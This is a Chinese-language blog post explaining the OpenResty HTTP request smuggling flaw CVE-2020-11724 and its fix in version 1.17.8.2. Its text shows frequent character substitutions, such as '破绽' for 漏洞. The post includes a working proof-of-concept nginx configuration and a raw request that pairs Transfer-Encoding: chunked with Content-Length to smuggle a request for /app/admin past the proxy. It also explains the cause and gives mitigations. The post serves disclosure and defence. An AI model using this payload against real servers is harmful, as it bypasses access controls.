乐趣区

关于openresty:CVE202011724OpenResty-HTTP-request-smuggling-漏洞

OpenResty 最近公布的正式版本 1.17.8.2 修复了安全漏洞 CVE-2020-11724。
这个破绽是一个 HTTP request smuggling 破绽,能够实现某种程度上的平安防护绕过。

0x01 什么是 HTTP request smuggling

HTTP request smuggling 指利用两台 HTTP 服务器在解析 HTTP 协定的过程中的差别,来结构一个在两台服务器看来不同的申请。通常这样的做法能够用来绕过平安防护,比方发送申请 A 给 Web 防火墙,而后 Web 防火墙代理给后端应用服务器时,让后端服务器误以为是申请 B。

0x02 这次的破绽长什么样子

先上一个 exploit:

    server {
        listen          1984;
        server_name     'localhost';
        location /test1 {
            content_by_lua_block {local res = ngx.location.capture('/backend')
                    ngx.print(res.body) 
            }
        }
        location /app {
            content_by_lua_block {ngx.log(ngx.ERR, ngx.var.uri)
            }
        }
        location /backend {
            proxy_http_version 1.1;
            proxy_set_header Connection "";
            proxy_pass http://backend/app/api;
        }
        location /t {
            content_by_lua_block {local sock = ngx.socket.tcp()
                    sock:settimeout(500)
                    assert(sock:connect("127.0.0.1", 1984))
                    local req = [[
GET /test1 HTTP/1.1
Host: foo
Transfer-Encoding: chunked
Content-Length: 42

0

GET /test1 HTTP/1.1
Host: foo
X: GET /app/admin HTTP/1.0

]]
                    local ok, err = sock:send(req)
                    if not ok then
                        ngx.say("send request failed:", err)
                        return
                    end
                    sock:close()}
        }
    }
}

为了便于复现,这里咱们把 OpenRestry 即当作客户端,也把它当作代理服务器和后端利用。其中 /t 用于作为客户端触发 HTTP 申请,/test1 则是作为代理服务器解决申请。/test1 通过 subrequest 申请了 /backend,而 /backend 作为代理拜访了后端利用 /app

申请 127.0.0.1:1984/t 你会看到打印出了两个 uri:

  1. /app/api
  2. /app/admin

也就是说,在后端利用的眼里,由代理服务器代理过去的用户拜访了 /app/api 和 /app/admin 两个接口。假如鉴权等操作都在代理服务器上实现,后端利用无条件信赖由代理服务器介绍过去的拜访,那么用户不仅能拜访 /app/api,还取得了对 /app/admin 的拜访权限。

那么代理服务器有没有真的对这两个接口做鉴权呢?答案是,它做了一半,还有一半没做。在代理服务器看来,客户端发的两个申请,都是拜访 /test1 接口。这两个申请是这样的:

GET /test1 HTTP/1.1
Host: foo
Transfer-Encoding: chunked
Content-Length: 42

0
GET /test1 HTTP/1.1
Host: foo
X: GET /app/admin HTTP/1.0

这两个申请 header 和 body 是不一样,然而好歹还是同一个接口。

然而在后端利用看来,这两个申请是这样的:

GET /app/api HTTP/1.1
Host: backend
Content-Length: 42

0

GET /test1 HTTP/1.1
Host: foo
X: 
GET /app/admin HTTP/1.0

齐全是两个不同的申请了!

为什么会这样呢?咱们能够看到,尽管代理服务器和后端利用看到的申请不一样,然而它们拼接后的后果都是差不多的,只是后端利用少了个 Transfer-Encoding: chunked。玄机就在这里。

0x03 Content-Length or Transfer-Encoding,this is a question

妇孺皆知,HTTP 是非常复杂的应用层协定,即便是在这个畛域浸淫多年的 Nginx 也未能实现残缺的 HTTP 协定。

不过明天我不会率领大家查看 HTTP 协定外面边边角角,而是取看简直每个 HTTP 申请都会有的报头:Content-LengthTransfer-Encoding。前者示意申请体的大小,后者示意申请体的格局。这两个之间有着这样的关系:如果指定了 Transfer-Encoding 为 chunk,那么申请体的大小会是不确定的,服务端须要读取每一个 chunk,直到读到最初一个 chunk 0\r\n\r\n 为止。即便客户端同时也指定了 Content-Length,服务端也应该以 Transfer-Encoding: chunked 为准。

这给 HTTP 申请的解决带来了一点复杂度,因为一般来说每个 header 之间是独立的。(Expires 和 Cache-Control 是又一个例外)

0x04 ngx.location.capture 缺了什么,以及后端利用表演的角色

OpenResty 在读取申请的时候,发挥作用的是 Transfer-Encoding: chunked,所以第二个申请会从 0\r\n\r\n 后,即 GET /test1 开始读。可是,在修复了此破绽之前,ngx.location.capture 并没有一个“如果指定了 Transfer-Encoding: chunked,那么疏忽 Content-Length”的解决。如果两者同时存在,仍然还会认为申请体的长度是明确的。这么一来,生成的 subrequest 就会认为有一个长度明确的申请体,发给后端利用的申请是这样的:

GET /app/api HTTP/1.1
Host: backend
Content-Length: 42

...

留神 Transfer-Encoding: chunked 曾经隐没了。

要想触发这个破绽,还须要后端利用对连贯做 keep alive 的操作。依照 HTTP 协定,后端利用要想复用 TCP 连贯,须要保障这个连贯上没有残留上个申请的数据。所以即便利用代码外面没有读取申请体的操作,后端利用依然会抛弃掉整个申请体。而这个申请体的大小是“明确”的,后端利用须要抛弃 42 个字节的内容。被抛弃的 42 个字节,就是代理服务器所认为的第二个申请的结尾局部。这样,第二个申请摇身一变,绕过了代理服务器的查看,偷渡胜利,露出了原本狰狞的面目。

0x05 论断

这个破绽的关键在于 ngx.location.capturengx.location.capture_multi 在构建 subrequest 时没有解决好 Transfer-Encoding: chunkedContent-Length 同时存在的状况,导致攻击者能够结构虚伪的申请体长度。

利用这个破绽须要有两点:

  1. 调用了 ngx.location.capturengx.location.capture_multi,外加 proxy_pass 来拜访内部服务。
  2. 其余服务启用了 keepalive(对于 HTTP 1.1 这个是默认的)

如果你不能降级到 1.17.8.2,能够思考在调用 ngx.location.capture 等函数之前,查看 Transfer-Encoding: chunkedContent-Length 是否同时存在,如果是,则去掉 Content-Length 报头。

还有一种解决形式,是 backport https://github.com/openresty/… 这个修复提交到你的 OpenResty 代码外面。

退出移动版